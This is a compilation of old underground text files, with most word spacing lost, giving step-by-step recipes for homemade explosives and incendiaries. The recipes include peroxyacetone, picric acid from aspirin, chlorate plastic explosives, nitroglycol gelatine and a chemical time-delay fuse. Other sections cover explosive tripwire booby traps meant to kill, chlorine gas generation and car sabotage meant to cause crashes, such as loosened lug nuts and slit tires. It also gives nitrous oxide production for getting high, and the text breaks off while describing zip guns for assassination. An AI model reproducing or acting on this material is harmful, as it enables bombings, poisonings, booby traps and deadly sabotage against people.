** potassium permanganate stains like iodine but worse [it's purple]
** the reaction will spatter a bit > it can be messy
**itdoesn'tmatteriftheamountsareuneven[i.e.1partto3parts]
Explosiveandincendiaries
bytheResearcher
Introduction
Thetroublewithtextbooksonchemistryandexplosivesistheattitudewithwhich
theyarewritten.Theydon'tsay,"NowIknowyouwouldliketoblowholyhellout
ofsomethingjustforthefunofitsohereishowtowhipupsomethinginyour
kitchentodoit".TheytellyouhowDupontdoesitorhowtheancientChinesedidit
butnothowyoucandoitwiththeresourcesandmaterialsavailabletoyou.Even
armymanualsonfieldexpedientexplosivesarealmostuselessbecausetheyarejust
outlineswrittenwiththeunderstandingthataninstructorisgoingtofillintheblanks.
It is a fun game to search out the materials that can be put together to make
something go "boom". You can find what you need in grocery stores, hardware
stores,andfarmsupplies.Aninterestingpointtorememberisthatitismucheasierto
makeabigeexplosionthanasmallone.Itisverydifficultforahomeexperimenter
tomakeafirecracker,butabombcapableofblowingthewallsoutofabuildingis
easy.
Howtomakerocketfuel

Thisiseasytomakeandfuntoplaywith.MixequalpartsbyvolumePotassiumor
SodiumNitrateandgranulatedsugar.Pourabigspoonfulofthisintoapile.Sticka
piece of black match fuse into it; light and step back. This is also a very hot
incendiary. A little imagination will suggest a lot of experiments for this.
Anotherrocketfuel
Mixequalpartsbyvolumeofzincdustandsulphur.Watchoutifyouexperiment
withthis.Itgoesoffinasuddenflash.Itisnotapowerfulexplosive,butisviolent
stuffevenwhennotconfinedbecauseofitsfastburningrate.AsIcontinuefromthis
pointsomeoftheingredientsaregoingtobehardertogetwithoutgoingthrougha
chemicalsupply.Itrytoavoidthis.IhappentoknowthatB.PrieserScientific(local
tomyarea)hasbeeninstructedbythepolicetosendthemthenamesofanyone
buyingchemicalsincertaincombinations.For example,if apersonweretobuy
Sulphuricacid,NitricacidandToluene(themakingsfor TNT) inoneorder the
policewouldbenotified.IwilldothebestIcantotellyouhowtomakethethings
youneedfromcommonlyavailablematerials,butIdon'twanttoleaveoutsomething
reallygoodbecauseyoumighthavetoscroungeforaningredient.Iamguessingyou
wouldpreferitthatway.
Howtomakeanexplosivefromcommonmatches
Pinchtheheadnearthebottomwithapairofwirecutterstobreakitup;thenuse
theedgesofthecutterstoscrapeofftheloosematerial.Itgetseasywithpractice.
YoucandothiswhilewatchingTVandcollectenoughforabombwithoutdyingof
boredom.Onceyouhaveagoodbatchofit,youcanloaditintoapipeinsteadof
blackpowder.Becarefulnottogetanyinthethreads,andwipeoffanythatgetson
theendofthepipe.Nevertrytousethisstuffforrocketfuel.Ascienceteacherwas
killedthatway.JustforfunwhileI'monthesubjectofmatches,didyouknowthat
youcanstrikeasafetymatchonawindowpane?Holdapapermatchbetweenyour
thumbandfirstfinger.Withyoursecondfinger,presstheheadfirmlyagainstalarge
window.Veryquickly,rubthematchdownthepaneabout2feetwhilemaintaining
thepressure.Thefrictionwillgenerateenoughheattolightthematch.Anotherfun
trickisthematchrocket.Tightlywrapthetophalfofapapermatchwithfoil.Setit
inthetopofapopbottleata45degreeangle.Holdalightedmatchunderthehead
untilitignites.Ifyougotitright,thematchwillzipupandhittheceiling.Ijust
rememberedthematchgunsIusedtomakewhenIwasakid.Thesearemadefroma
bicyclespoke.Atoneendofthespokeisapiecethatscrewsoff.Takeitoffand
screwitonbackwards.Younowhaveapieceofstiffwirewithasmallhollowtube
ononeend.Packthematerialfromacoupleofwoodensafetymatchesintothetube.
Forcethestemofamatchintothehole.Itshouldfitverytightly.Holdalighted
matchunderthetubeuntilitgetshotenoughtoignitethepowder.Itgoesoffwitha
bang.
Howtomakeconcentratedsulphuricacidfrombatteryacid

Gotoanautosupplystoreandaskfor"asmallbatteryacid".Thisshouldonly cost
afewdollars.Whatyouwillgetisaboutagallonofdilutesulphuricacid.Putapint
ofthisintoaheatresistantglasscontainer.Theglasspitchersusedformakingcoffee
areperfect.Donotuseametalcontainer.Useanextensioncordtosetupahotplate
outdoors.Boiltheaciduntilwhitefumesappear.Assoonasyouseethewhite
fumes,turnoffthehotplateandlettheacidcool.Pour thenowconcentratedacid
intoaglasscontainer.Thecontainermusthaveaglassstopperorplasticcapno
metal.Itmustbeairtight.Otherwise,theacidwillquicklyabsorbmoisturefromthe
airandbecomediluted.Wanttoknowhowtomakeatimebombthatdoesn'ttickand
has no wires or batteries ? Hold on to your acid and follow me into the next
instalment.
Howtomakeachemicaltimedelayfuse
Togetanunderstandingofhowthisisgoingtowork,mixupequalpartsbyvolume
Potassiumchlorateandgranulatedsugar.Pouraspoonfulofthemixtureinasmall
pileandmakeadepressioninthetopwiththeendofaspoon.Usingamedicine
dropper,placeonedropofconcentratedsulphuricacidinthedepressionandstep
back.Itwillsnapandcrackleafewtimesandthenburstintovigorousflames.To
makethefuse,cutabout2inchesoffaplasticdrinkingstraw.Tampasmallpieceof
cottoninoneend.Ontopofthisputaboutaninchofthechlorate/sugarmixture.
Nowlightlytampinaboutaquarterinchofeitherglasswoolorasbestosfibres.
Securethiswiththeopenendupanddropin3or4dropsofsulphuricacid.Aftera
fewminutestheacidwillsoakthroughthefibresandignitethemixture.Thetime
delaycanbecontrolledbytheamountoffibreusedandbyvaryinghowtightlyitis
packed. Don't use cotton for this. The acid will react with cotton and become
weakenedintheprocess.Bypunchingaholeinthesideofthestraw,apieceofblack
matchorotherfusecanbeinsertedandusedtosetoffthedeviceofyourchoice.
Potassiumchloratewasverypopularwiththeradicalunderground.Itcanbeusedto
make a wide variety of explosives and incendiaries, some of them extremely
dangeroustohandle.Theradicalslostseveralpeoplethatway.But,don'tworry.Iam
notgoingtotrytoprotectyoufromyourself.Ihavedecidedtotellall.Iwillhave
more to say about Potassium chlorate, but for now, let's look at a couple of
interestingelectricfuses.
Peroxyacetone
Peroxyacetone is extremely flammable and has been reported to be shock
sensitive.
Materials
4mlacetone;4ml30%hydrogenperoxide;4dropsconc.hydrochloricacid;150
mmtesttube.

 Add4mlacetoneand4mlhydrogenperoxidetothetesttube.thenadd4drops
concentrated hydrochloric acid. In 1020 minutes a white solid should begin to
appear.Ifnochangeisobserved,warmthetesttubeinawaterbathat40Celsius.
Allowthereactiontocontinuefortwohours.Swirltheslurryandfilterit.Leaveout
onfilterpapertodryforatleasttwohours.Toignite,lightacandletiedtoameter
stickandlightit(whilestayingatleastameteraway).Iwouldliketogivecredittoa
book by shakashari entitled "Chemical demonstrations" for a few of the precise
amountsofchemicalsinsomeexperiments.ZaphodBeeblebrox/MPG!

Thechemists'scorner#2:householdchemicals
byZaphodBeeblebrox/MPG
Thisarticledealswithinstructionsonhowtodosomeinterestingexperimentswith
common household chemicals. Some may or may not work depending on the
concentrationofcertainchemicalsindifferentareasandbrands.Iwouldsuggestthat
thepersondoingtheseexperimentshavesomeknowledgeofchemistry,especially
forthemoredangerousexperiments.Iamnotresponsibleforanyinjuryordamage
caused by people using this information. It is provided for use by people
knowledgableinchemistrywhoareinterestedinsuchexperimentsandcansafely
handlesuchexperiments.
I.Alistofhouseholdchemicalsandtheircomposition
Vinegar:35%aceticacid
bakingsoda:sodiumbicarbonate
draincleaners:sodiumhydroxide
saniflush:75%sodiumbisulfate
ammoniawater:ammoniumhydroxide
citrusfruit:citricacid

tablesalt:sodiumchloride
sugar:sucrose
milkofmagnesia:magnesiumhydroxid
tinctureofiodine:4%iodine
rubbingalcohol:70or99%(dependson
brand)isopropylalcohol(donotdrink!)

GeneratingChlorinegas
Thisisslightlymoredangerousthantheothertwoexperiments,soyoushouldknow
whatyou'redoingbeforeyoutrythis.Everwonderwhyammoniabottlesalwayssay
do not mix with chlorine bleach and vice versa ? That's because if you mix
ammonia water with ajax or something like it, it will give off chlorine gas. To
captureit,getalargebottleandputajaxinthebottom.thenpoursomeammonia
downintothebottle.sincethechlorineisheavierthanair,itwillstaydowninthere
unlessyouuselargeamountsofeitherajaxorammonia(don't!).
Chlorine+Turpentine
Takeasmallclothorragandsoakitinturpentine.Quicklydropitintothebottleof
chlorine.Itshouldgiveoffalotofblacksmokeandprobablystartburning.

GeneratingHydrogengas
Togeneratehydrogen,allyouneedisanacidandametalthatwillreactwiththat
acid.Tryvinegar(aceticacid)withzinc,aluminium,magnesiumetc.Youcancollect
hydrogeninsomethingifyounotethatitislighterthanairlightasmallamountand
itburnswithasmall*pop*.Anotherwayofcreatinghydrogenisbytheelectrolysis
of water. this involve separating water (H2O) into hydrogen and oxygen by an
electriccurrent.Todothis,youneeda612voltbattery(oraDCtransformer),two
testtubes,alargebowl,twocarbonelectrodes(takethemoutofanunworking612
voltbattery)andtablesalt.Dissolvethesaltinalargebowlfullofwater.Submerge
thetwotesttubesinthewaterandputtheelectrodesinsidethem,withthemouthof
the tube aiming down. Connect the battery to some wire going down to the
electrodes.Thiswillworkforawhile,butchlorinewillbegeneratedalongwiththe
oxygenwhichwillcorrodeyourcopperwiresleadingtothecarbonelectrodes(the
tablesaltisbrokenupintochlorineandsodiumions,thechlorinecomesoffasagas
with oxygen while sodium reacts with the water to form sodium hydroxide).
therefore,ifyoucangetyourhandsonsomesulfuricacid,useitinstead.itwillnot
affectthereactionotherthanmakingthewaterconductelectricity.
Warning: Do not usea transformer thatoutputs ACcurrent!Notonlyis AC
inherentlymoredangerousthanDC,italsoproducesbothHydrogenandOxygenat
eachelectrode.
Hydrogen+Chlorine
Takethetesttubeofhydrogenandcoverthemouthwithyourthumb.Keepit
inverted and bring it near the bottle of chlorine (not one that has reacted with
turpentine).Say"goodbyetesttube"anddropitintothebottle.Thehydrogenand
chlorineshouldreactandpossiblyexplode(dependingonpurityandamountofeach
gas).Aninterestingthingaboutthisistheywillnotreactifitisdarkandnoheator

otherenergyisaround.Whenalightisturnedon,enoughenergyispresenttocause
themtoreact.

PreparationofOxygen
Getsomehydrogenperoxide(fromadrugstore)andmanganesedioxide(froma
batteryit'sablackpowder).Mixthetwoinabottleandtheygiveoffoxygen.Ifthe
bottleisstoppered,pressurewillbuildupandshootitoff.Trylightingawoodsplint
andstickingit(whenonlyglowing)intothebottle.Theoxygenwillmakeitburst
intoflame.Theoxygenwillallowthingstoburnbetter.
Iodine
Tinctureofiodinecontainsmainlyalcoholandalittleiodine.Toseparatethem,put
thetinctureofiodineinametallidtoabottleandheatitoveracandle.Haveastand
holdinganothermetalliddirectlyoverthetincture(about46inchesaboveit)with
iceontopofit.Thealcoholshouldevaporateandtheiodineshouldsublime,but
shouldreformiodinecrystalsonthecoldmetalliddirectlyabove.Ifthisworks(I
haven't tried), you can use the iodine along with household ammonia to form
nitrogen triiodide. Zaphod Beeblebrox/ MPG ! I have found that Pool Chlorine
tabletswithstronghouseholdammoniareacttoproducelotsofchlorinegasandheat,
alsomixingthetabletswithrubbingalcoholproducesheat,adifferent(andhighly
flammable)gasandpossiblysomesortofacid(iteatsawayatjustaboutanythingit
touches).
DavidRichards
Tripwires
byTheMortician
WellfirstofallIrecommandthatyoureadthefileonmyboardaboutlandmines.
Ifyoucan'tthenhereistheconcept.Youcanuseanm80,h100,blockbusteror
anyothertypeofexplosivethatwilllightwithafuse.Nowthewaythisworksisif
youhavea9voltbattery,geteitherasolarigniter(preferably)orsomesteelwool
youcancreatearemoteignitionsystem.Whatyoudoitsetupaschematiclikethis.
>+batery
steel||>batery
wool||/
:==:<fuse\
||/
spstswitch\
Sowhentheswitchisonthecurrentwillflowthroughthesteelwoolorigniterand
heatupcausingthefusetolight.Note:Forusewithsteelwooltryitfirstandgeta
reallythinpieceofwireandpumpthecurrentthroughittomakesureitwillheatup
tolighttheexplosive.Nowthethingtodoisplantyourexplosivewhereveryouwant

ittobe,buryitandcoverthewires.Nowtakeafishingline(about20lb.test)andtie
oneendtoasecureobject.Haveyourswitchsecuredtosomethingandmakealoop
ontheotherendontheline.Putthelooparoundtheswitchsuchthatwhenpulledit
willpulltheswitchandsetofftheexplosive.Toignitetheexplosive.Thethingtodo
istoexperimentwiththisandfindyourbestmethod.Letmeknowonanygoodkills
ornewtechniques.Onmyboard:(201)3764462.
Boobytraptripwires
byVladTepes(ofChgoC64fame)
HereisamethodforconstructingboobytrapswhichIpersonallyinvented,and
whichIhavefoundtoworkbetterthananyothertypeofreleaseboobytrap.There
aremanypossiblevariationsonthisdesign,butthebasicpremiseremainsthesame.
What you'll need: 3 4 nails each 2 inches long and soft enough to bend easily
(galvanizedironworkswell);6feetofwireorfishingline;515feetofstrongstring
orropeand1reallysickmind.Hammertwoofthenailsintothetrunkofatree
(aboutoneinchapart)sotheyformahorizontalline.Theyshouldbeangledslightly
upward,about30degrees.BendeachnailDownwardaboutoneinchoutfromthe
trunk.Takeyournefariousdevice(sayasmallrocksuspendedinatree)andriga
ropeorstringsothelinecomesdowntowardsthetwonails.Tiealoopinthestring
sotheloop*just*reachesbetweenthetwonails,andpassathirdnailbetweenthe
twonailswiththelooparoundthisnailbetweenthetwoothers(seediagrams).
bentnails

/||^slightupwardtension
#/\||
#/@||@(@arethetwonails,headon)
#!()
#tripwire
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Trunkthirdnail
Nowtieoneendofthefishinglinetotheheadofthethirdnailandtheotherend
around another tree or to a nail (in another tree, a root or a stump etc.). When
somebodypullsonthetripwire,thenailwillbepulledoutandyoursickcreation
willbereleasedtodoit'sdamage(trytyingittoafiringpin).Thereareseveral
possiblevariations.Morethanonetripwirecanbeattachedtothesamenail,orthis
devicecanbeusedtoarmasecondtripwire.Largewirestaplesorhookandeye
loopscanbeusedtoreplacethetwobentnails.Amoreinterestingvariationusesa
straightpieceofmetalrodwithaholeateachendorwithashortwireloopweldedto
eachend.Oneendisattachedtothetripwire,theotherisattachedtoaspring.
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springbolttripwire

Withthisdesigntheloopwillbereleasedifthetripwireispulledorifitisbroken.
Thespringshouldbeundermoderatetensionandwelloiled.
ImprovisedExplosives
GelatineExplosivefromAntiFreezeWritten
byTheLich
Caution:Thisformulaassumesthatthemakerhasnoqualmsaboutkillinghis/
herselfintheprocess.Thisexplosiveisalmostthesameasthenitrogelatineplastic
explosiveexceptthatitissuppleandpliableto10to20deg.C.Antifreezeiseasier
toobtainthanglycerineandisusuallycheaper.Itneedstobefreedofwaterbefore
themanufactureandthiscanbedonebytreatingitwithcalciumchlorideuntila
specificgravityof1,12@odeg.C.or1,11@20deg.C.isobtained.Thiscanbe
donebyaddingcalciumchloridetotheantifreezeandcheckingwithahydrometer
and continue to add calcium chloride until the proper reading is obtained. The
antifreeze is then filtered to remove the calcium chloride from the liquid. This
explosive is superior to nitro gelatin in that it is easier to collidon the IMR
smokelesspowderintotheexplosiveandthatthe50/50etherethylalcoholcanbe
doneawaywith.Itissuperiorinthattheformationofthecollidonisdonevery
rapidlybythenitroetheleneglycol.It'sdetonationpropertiesarepracticallythesame
asthenitrogelatine.Likethenitrogelatineitishighlyflammableandifcaughton
firethechancesaregoodthattheflamewillprogresstodetonation.Inthisexplosive
asinnitrogelatinetheadditionof1%sodiumcarbonateisagoodideatoreducethe
chance of residual acid being present in the final explosive. The following is a
slightlydifferentformulathannitrogelatine:Nitroglycol75%Guncotton(IMR)6
%PotassiumNitrate14%Flour5%.Inthisprocessthe50/50stepisomitted.Mix
thepotassiumnitratewiththenitroglycol.Rememberthatthisnitroglycolisjust
assensitivetoshockasisnitroglycerin.Thenextstepistomixinthebakingflour
andsodiumcarbonate.Mixthesebykneadingwithglovedhandsuntilthemixtureis
uniform.Thiskneadingshouldbedonegentlyandslowly.Themixtureshouldbe
uniform when the IMR smokeless powder is added. Again this is kneaded to
uniformity.Usethisexplosiveassoonaspossible.Ifitmustbestored,storeina
cool,dryplace(010deg.C.).Thisexplosiveshoulddetonateat76007800m/sec.
Thesetwoexplosivesareverypowerfulandshouldbesensitivetoa#6blastingcap
orequivalent.Theseexplosivesaredangerousandshouldnotbemadeunlessthe
manufacturerhashadexperiencewiththistypecompound.Thefoolishandignorant
mayaswellforgettheseexplosivesastheywon'tlivetogettousethem.Don'tget
me wrong, these explosives have been manufactured for years with an amazing
record of safety. Millions of tons of nitroglycerine have been made and used to
manufacture dynamite and explosives of this nature with very few mis haps.
Nitroglycerinandnitroglycolwillkillandtheirmainvictimsarethestupidand
foolhardy.Beforemanufacturingtheseexplosivestakeadropofnitroglycerinand

soakintoasmallpieceoffilterpaperandplaceitonananvil.Hitthisdropwitha
hammeranddon'tputanymoreontheanvil.SeewhatImean!Thisexplosive
compoundisnottobetakenlightly.Ifthereareanydoubtsdon't.
ImprovisedExplosivesPlasticExplosivefromAspirin
byTheLich
Thisexplosiveisaphenolderivative.Itis highly toxicandexplosivecompounds
madefrompicricacidarepoisonousifinhaled,ingestedorhandledandabsorbed
throughtheskin.Thetoxicityofthisexplosiverestrict'sitsuseduetothefactthat
overexposureinmostcasescausesliverandkidneyfailureandsometimesdeathif
immediatetreatmentisnotobtained.ThisexplosiveisacousintoT.N.T.butis
more powerful than it's cousin. It is the first explosive used militarily and was
adoptedin1888asanartilleryshellfiller.Originallythisexplosivewasderivedfrom
coal tar but thanks to modern chemistry you can make this explosive easily in
approximatelythreehoursfromacetilsalicylicacid(aspirinpurified).Thisprocedure
involvesdissolvingtheacetilsalicylicacidinwarmsulfuricacidandaddingsodium
or potassium nitrate which nitrates the purified aspirin and the whole mixture
drownedinwaterandfilteredtoobtainthefinalproduct.Thisexplosiveiscalled
trinitrophenol.Careshouldbetakentoensurethatthisexplosiveisstoredinglass
containers.Picricacidwillformdangeroussaltswhenallowedtocontactallmetals
excepttinandaluminium.Thesesaltsareprimaryexplosiveandaresupersensitive.
Theyalsowillcausethedetonationofthepicricacid.Tomakepicricacidobtain
someaspirin.Thecheaperbrandsworkbestbutbufferedbrandsshouldbeavoided.
Powderthesetabletstoafineconsistency.Toextracttheacetilsalicylicacidfrom
thispowderplacethispowderinmethylalcoholandstirvigorously.Notallofthe
powderwilldissolve.Filterthispowderoutofthealcohol.Againwashthispowder
thatwasfilteredoutofthealcoholwithmorealcoholbutwithalesseramountthan
thefirstextraction.Againfiltertheremainingpowderoutofthealcohol.Combine
thenowclearalcoholandallowittoevaporateinapyrexdish.Whenthealcoholhas
evaporatedtherewillbeasurprisingamountofcrystalsinthebottomofthepyrex
dish.Takefortygramsofthesepurifiedacetylsalicylicacidcrystalsanddissolve
themin150ml.ofsulfuricacid(98%,specifygravity1,8)andheattodissolveall
thecrystals.Thisheatingcanbedoneinacommonelectricfryingpanwiththe
thermostat set on 150 deg. F. and filled with a good cooking oil. When all the
crystalshavedissolvedinthesulfuricacidtakethebeaker,thatyou'vedoneallthis
dissolvingin(600ml.),outoftheoilbath.Thisnextstepwillneedtobedonewitha
verygoodventilationsystem(itisagoodideatodoanychemistryworksuchasthe
wholeprocedureandanyprocedureonthisdiskwithgoodventilationoroutside).
Slowlystartadding58gofsodiumnitrateor77gofpotassiumnitratetotheacid
mixtureinthebeakerveryslowlyinsmallportionswithvigorousstirring.Aredgas
(nitrogentrioxide)willbeformedandthisshouldbeavoided.Themixtureislikely
to foam up and the addition should be stopped until the foaming goes down to
prevent the overflow of the acid mixture in the beaker. When the sodium or

potassiumnitratehasbeenaddedthemixtureisallowedtocoolsomewhat(3040
deg. C.). The solution should then be dumped slowly into twice it's volume of
crushediceandwater.Thebrilliantyellowcrystalswillforminthewater.These
shouldbefilteredoutandplacedin200ml.ofboilingdistilledwater.Thiswateris
allowedtocoolandthenthecrystalsarethenfilteredoutofthewater.Thesecrystals
areavery,verypuretrinitrophenol.Thesecrystalsarethenplacedinapyrexdish
andplacesinanoilbathandheatedto80deg.C.andheldtherefor2hours.This
temperatureisbestmaintainedandcheckedwithathermometer.Thecrystalsare
thenpowderedinsmallquantitiestoafacepowderconsistency.Thesepowdered
crystalsarethenmixedwith10%byweightwaxand5%vaselinewhichareheated
tomeltingtemperatureandpouredintothecrystals.Themixingisbestdoneby
kneadingtogetherwithglovedhands.Thisexplosiveshouldhaveausefulplasticity
rangeof040deg.C.Thedetonationvelocityshouldbearound7000m/sec.Itis
toxictohandlebutsimplymadefromcommoningredientsandissuitableformost
demolitionworkrequiringamoderatelyhighdetonationvelocity.Itisverysuitable
forshapedchargesandsomesteelcuttingcharges.Itisnotasgoodanexplosiveas
C4orotherR.D.X.basedexplosivesbutitismucheasiertomake.Againthis
explosiveisverytoxicandshouldbetreatedwithgreatcare.Avoidhandlingbare
handed,breathingdustandfumes,avoidanychanceofingestion.Afterustensilsare
usedforthemanufactureofthisexplosiveretirethemfromthekitchenasthechance
ofpoisoningisnotworththerisk.Thisexplosive,ifmanufacturedasabove,should
besafeinstoragebutwithanyhomemadeexplosivestorageasnotrecommended
andexplosivesshouldbemadeupasneeded.
ImprovisedExplosivesPlasticExplosivefromBleach
byTheLich
Thisexplosiveisapotassiumchlorateexplosive.Thisexplosiveandexplosivesof
similar composition were used in World War II as the main explosive filler in
grenades,landminesandmortarusedbyFrench,Germanandotherforcesinvolved
in that conflict. These explosives are relatively safe to manufacture. One should
strivetomakesuretheseexplosivesarefreeofsulphur,sulphidesandpicricacid.
Thepresenceofthesecompoundsresultinmixturesthatareorcanbecomehighly
sensitiveandpossiblydecomposeexplosivelywhileinstorage.Themanufactureof
thisexplosivefrombleachisgivenasjustanexpedientmethod.Thismethodof
manufacturingpotassiumchlorateisnoteconomicalduetotheamountofenergy
usedtoboilthesolutionandcausethedissociationreactiontotakeplace.This
procedure does work and yields a relatively pure and a sulphur/ sulphide free
product. These explosives are very cap sensitive and require only a # 3 cap for
instigating detonation. To manufacture potassium chlorate from bleach (5, 25 %
sodium hypochlorite solution) obtain a heat source (hot plate etc.) a battery
hydrometer,alargepyrexornamedsteelcontainer(toweighchemicals)andsome
potassiumchloride(soldassaltsubstitute).Takeonegallonofbleach,placeitinthe
containerandbeginheatingit.Whilethissolutionheats,weighout63gpotassium

chlorideandaddthistothebleachbeingheated.Bringthissolutiontoaboiland
boiled until when checked by a hydrometer the reading is 1, 3 (if a battery
hydrometerisusedit shouldreadfullcharge).Whenthereadingis1,3takethe
solutionandletitcoolintherefrigeratoruntilit'sbetweenroomtemperatureand0
deg.C.Filteroutthecrystalsthathaveformedandsavethem.Boilthesolutionagain
until it reads 1, 3 on the hydrometer and again cool the solution. Filter out the
crystalsthathaveformedandsavethem.Boilthissolutionagainandcoolasbefore.
Filterandsavethecrystals.Takethesecrystalsthathavebeensavedandmixthem
withdistilledwaterinthefollowingproportions:56gper100ml.distilledwater.
Heatthissolutionuntilitboilsandallowittocool.Filterthesolutionandsavethe
crystals that form upon cooling. The process if purification is called fractional
crystalization.Thesecrystalsshouldberelativelypurepotassiumchlorate.Powder
thesetotheconsistencyoffacepowder(400mesh)andheatgentlytodriveoffall
moisture.Meltfivepartsvaselineandfivepartswax.Dissolvethisinwhitegasoline
(camp stove gasoline) and pour this liquid on 90 parts potassium chlorate (the
crystals from the above operation) in a plastic bowl. Knead this liquid into the
potassium chlorateuntilimmediatelymixed.Allowallthegasolinetoevaporate.
Place this explosive in a cool, dry place. Avoid friction, sulphur, sulphide and
phosphorouscompounds.Thisexplosiveisbestmouldedtothedesiredshapeand
density(1,3g/cc)anddippedinwaxtowaterproof.Theseblocktypecharges
guaranteethehighestdetonationvelocity.Thisexplosiveisreallynotsuitedtousein
shaped charge applications due to its relatively low detonation velocity. It is
comparableto40%ammoniadynamiteandcanbeconsideredthesameforthesake
ofchargecomputation.Ifthepotassiumchlorateisboughtandnotmadeitisputinto
themanufactureprocessinthepowderingstagesprecedingtheadditionofthewax/
vaselinemixture.Thisexplosiveisbristantandpowerful.Theadditionof23%
aluminiumpowderincreasesitsblasteffect.Detonationvelocityis3300m/sec.
PlasticExplosivesFromSwimmingPoolChlorinatingCompound
bytheLich
Thisexplosiveisachlorateexplosivefrombleach.Thismethodofproductionof
potassiumorsodiumchlorateiseasierandyieldsamorepureproductthandoesthe
plastic explosive from bleach process. In this reaction the H. T. H. (calcium
hypochloriteCaC10)ismixedwithwaterandheatedwitheithersodiumchloride
(tablesalt,rocksalt)orpotassiumchloride(saltsubstitute).Thelatterofthesesaltsis
the salt of choice due to the easy crystalization of the potassium chlorate. This
mixturewillneedtobeboiledtoensurecompletereactionoftheingredients.Obtain
someH.T.H.swimmingpoolchlorinationcompoundorequivalent(usually65%
calcium hypochlorite). As withthe bleach process mentioned earlier thereaction
describedbelowisalsoadissociationreaction.Inalargepyrexglassornamedsteel
container place 1200g.H. T. H.and 220g potassiumchloride or 159g sodium
chloride.Addenoughboilingwatertodissolvethepowderandboilthissolution.A
chalky substance (calcium chloride) will be formed. When the formation of this

chalkysubstanceisnolongerformedthesolutionisfilteredwhileboilinghot.If
potassium chloride was used potassium chlorate will be formed. This potassium
chloratewilldropoutorcrystalizeastheclearliquidleftafterfilteringcools.These
crystalsarefilteredoutwhenthesolutionreachesroomtemperature.Ifthesodium
chloridesaltwasusedthisclearfiltrate(clearliquidafterfiltration)willneedtohave
allwaterevaporated.Thiswillleavecrystalswhichshouldbesaved.Thesecrystals
shouldbeheatedinaslightlywarmoveninapyrexdishtodriveoffalltracesof
water(4075deg.C.).Thesecrystalsaregroundtoaveryfinepowder(400mesh).
Ifthesodiumchloridesaltisusedintheinitialstepthecrystalizationismuchmore
timeconsuming.Thepotassiumchlorideisthesalttouseastheresultingproduct
will crystalize out of thesolutionasitcools. Thepowderedandcompletely dry
chloratecrystalsarekneadedtogetherwithvaselineinaplasticbowl.Allchlorate
basedexplosivesaresensitivetofrictionandshockandtheseshouldbeavoided.
Ifsodiumchlorideisusedinthisexplosiveitwillhaveatendencytocakeandhasa
slightly lower detonation velocity. This explosive is composed of the following:
potassium/sodiumchlorate90%vaseline10%.Simplypourthepowderintoa
plasticbaggyandkneadinthevaselinecarefully.thisexplosive(especiallyifthe
SodiumChloratevariationisused)shouldnotbeexposedtowaterormoisture.The
detonation velocity can be raised to a slight extent by the addition of 2 3 %
aluminiumsubstitutedfor23%ofthevaseline.Thisadditionofthisaluminium
willgivetheexplosiveabrightflashifsetoffatnightwhichwillruinnightvision
forashortwhile.Thedetonationvelocityofthisexplosiveisapproximately3200m/
sec.forthepotassiumsaltand2900m/sec.forthesodiumsaltbasedexplosive.
Addendum4/12/91:Itwasclaimedabovethatthisexplosivedegradesovertime.I
would assume that this occurs due to the small amount of water present in the
vaseline,andthatadifferenttypeoffuelwouldbebetterthanthevaseline.
Assortednasties:SweetOil
Inthisoneyouopentherehoodandpoursomehoneyintheiroilspout.Ifyouhave
timeyoumightremovertheoilplugfirstanddrainsomeoftheoilout.Ihavetried
thisonebutwasn'taroundtoseetheeffectsbutIamsurethatIdidsomedamage.
SlowAir
O.K.,sneakupthevictimscarandpokeasmallholesomewherein2ofhis/her
tires.Theyonlyhave1spare.Nowiftheholeissmallbuttherethentheretirewillgo
flatsomewhereontheroad.Youcouldslicethetiresothisisblowsoutontheroad
widtharazorblade.Cutalongandfairlydeep(don'tcutaholeallthewaythrough)
andpeelalittlebitoftherubberbackandcutthatoff.Nowverysoontheretireswill
goflatorapossibleblowoutatahighspeedifyourlucky.
VanishingPaint
Spreadalittlegasorpaintthinneronthevictimscarandthiswillmakehispaint

runandfade.Vodkawilleatthepaintoffandsowillalittle190.Eggsworkgreaton
paintiftheysittherelongenough.
LooseWheel
Loosenthelugsonyourvictimstiressothattheywillsoonfalloff.Thiscanreally
fucksomeoneupiftheyarecruisingwhenthetirefallsoff.
DualNeutral
Thisnamesucksbutpullthe10boltorwhatevertheyhavethereoff(Onthe real
wheels,inthemiddleoftheaxle).Nowthrowsomescrews,blots,nutsandassorted
thingsinthereandreplacethecover.Atthispointyoucouldchipsomeoftheteeth
offthegears.
UnMidaser
Crawlundertherecarwitharacketandloosenallthenutsontheirexhaustsothat
ithangslowandwillfalloffsoon.Thismethodalsoworksontransmissionsbutisa
littlehardertogetallboltsoff,buttheharderyouworkthemoreyoufuckthemover.
Laughinggas
Learnhowtomakelaughinggasfromammoniumnitrate.Laughinggaswasoneof
theearliestanaesthetics.Afteralittlewhileofinhalingthegasthepatientbecameso
happy[ain'tlifegreat?]hecouldn'tkeepfromlaughing.Finallyhewoulddriftoffto
apleasantsleep.Somedoityourselfershavediedwhiletakinglaughinggas.This
isbecausetheyhasgenerateditthroughplasticbagswhiletheirheadswereinside.
Theyweresimplysuffocatingbutweretoobombedouttorealizeit.Thetrickisto
haveaplasticclothesbaginwhichyougeneratealotofthegas.Thenyoustop
generatingthegasandholdasmallopeningofthebagunderyournose,getting
plenty of oxygen in the meantime. Then, Whee ! To make it you start with
ammoniumnitrateboughtfromachemicalsupplyhouseorwhichyouhavepurified
with100%rubbingorwoodalcohol.First,dissolveaquantityofammoniumnitrate
insomewater.Thenyouevaporatethewateroverthestove,whilestirring,untilyou
haveaheavybrine.Whennearlyallthemoistureisoutitshouldsolidifyinstantly
whenadropisputonanicecoldmetalplate.Whenready,dumpitalloutonavery
coldsurface.Afterawhile,breakitupandstoreitinabottle.Aspoonfulisputintoa
flaskwithaoneholestopper,withatubeleadingintoabigplasticbag.Theflaskis
heatedwithanalcohollamp.Whenthetemperatureintheflaskreaches480Fthegas
willgenerate.Ifwhitefumesappeartheheatshouldbeloweredasthestuffexplodes
at600F.Whenthebagisfilled,stoptheactionandgetreadytoturnon.Caution:
N2Osupplantsoxygeninyourblood,butyoudon'trealizeit.It'seasytodiefrom
N2Obecauseyou'resuffocatingandyourbreathingreflexdoesn'tknowit.Donot
putyourheadinaplasticbag(duhh)becauseyouwillcheerfullychoketodeath.

Pipeor"ZIP"guns
Commonlyknownas"zip"guns,gunsmadefrompipehavebeenusedforyearsby
juvenilepunks.Today'sMilitantsmakethemjustforthehellofitortoshootoncein
anassassinationorriotandthrowawayifthereisanydangerofapprehension.They
canbeusedmanytimesbutwithsome,alengthofdowelisneededtoforceoutthe
spentshell.Therearemanyvariationsbuttheillustrationshowsthebasicdesign.
First,awoodenstockismadeandagrooveiscutforthebarreltorestin.Thebarrel
